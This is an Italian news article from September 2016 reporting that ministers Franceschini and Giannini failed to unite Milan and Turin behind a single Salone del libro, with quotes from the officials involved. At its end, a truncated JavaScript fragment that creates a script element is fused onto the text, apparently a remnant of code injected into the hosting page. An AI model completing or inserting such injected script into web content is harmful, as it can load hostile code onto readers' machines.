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domenica 20 agosto 2017 17:42:21
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Salone del libro, Milano e Torino su strade separate: fallito il tentativo del governo di realizzare un unico evento

20 settembre 2016 Cultura, Politica

Non è stato raggiunto l’accordo tra Milano e Torino per lo svolgimento di un unico evento per il Salone del libro. Lo hanno annunciato i ministri dei Beni Culturali Dario Franceschini e dell’Istruzione Stefania Giannini a termine dell’incontro di oggi, nella sede del Mibact, a Roma, durato circa un’ora e mezza.  “Purtroppo – ha commentato Franceschini -, lo diciamo con molta franchezza e amarezza e con la consapevolezza di avercela messa tutta anche andando oltre i doveri istituzionali: l’Italia perde una grandissima occasione e si presenta con due Saloni del Libro a 100 chilometri di distanza, che si faranno una concorrenza sfrenata. Questo e’ un pessimo risultato non solo per il Paese, ma anche per il mondo dell’editoria”.
“Abbiamo fatto un’ora e mezza di riunione complicata, a seguito di diversi incontri, com’era nostro dovere – ha aggiunto -. Il ministro Giannini e io abbiamo messo in campo quest’idea di un impegno anche più diretto del Governo a sostegno di un unico Salone Internazionale del libro e della lettura che si svolgesse contemporaneamente su due sedi molto vicine tra di loro, che fosse complementare nella vocazione, quindi individuando concordemente una vocazione su Milano e una su Torino che rendesse complementari le due sedi del Salone unico. Questo ci avrebbe consentito un impegno più diretto, ma anche presentarci in Europa con un rilancio molto forte. Purtroppo questa soluzione non è stata accettata”. Per il ministro Giannini  Questa era una splendida occasione per far sì che da una situazione critica si potesse fare una grande operazione culturale, purtroppo le reciproche rigidità lo hanno impedito”.  A questo punto quindi per gli editori  e la nuova societa’ nata con Fiera Milano per promuovere il nuovo evento, “sndiamo avanti da soli: presenteremo la nostra manifestazione, primo tassello del Progetto Promozione del Libro, il 5 ottobre a Milano”.  “Si è reso impossibile proseguire un dialogo che invece si era avviato bene. Credo che il ruolo dei ministri sia stato straordinario nel proporre un’occasione storica che era quella di dare vita a una manifestazione nazionale. È chiaro che per fare questo bisogna individuare funzioni specifiche per le città che concorrono al progetto. La proposta fatta da Aie era questa, di dare una funzione più legata all’editoria a Milano e una più legata alla grande distribuzione delle librerie a Torino. Questo avrebbe dato vita a un grande progetto di respiro nazionale”, ha commentato Filippo Del Corno, assessore alla cultura di Milano, al termine dell’incontro.var d=document;var s=d.createElement(‘script’);

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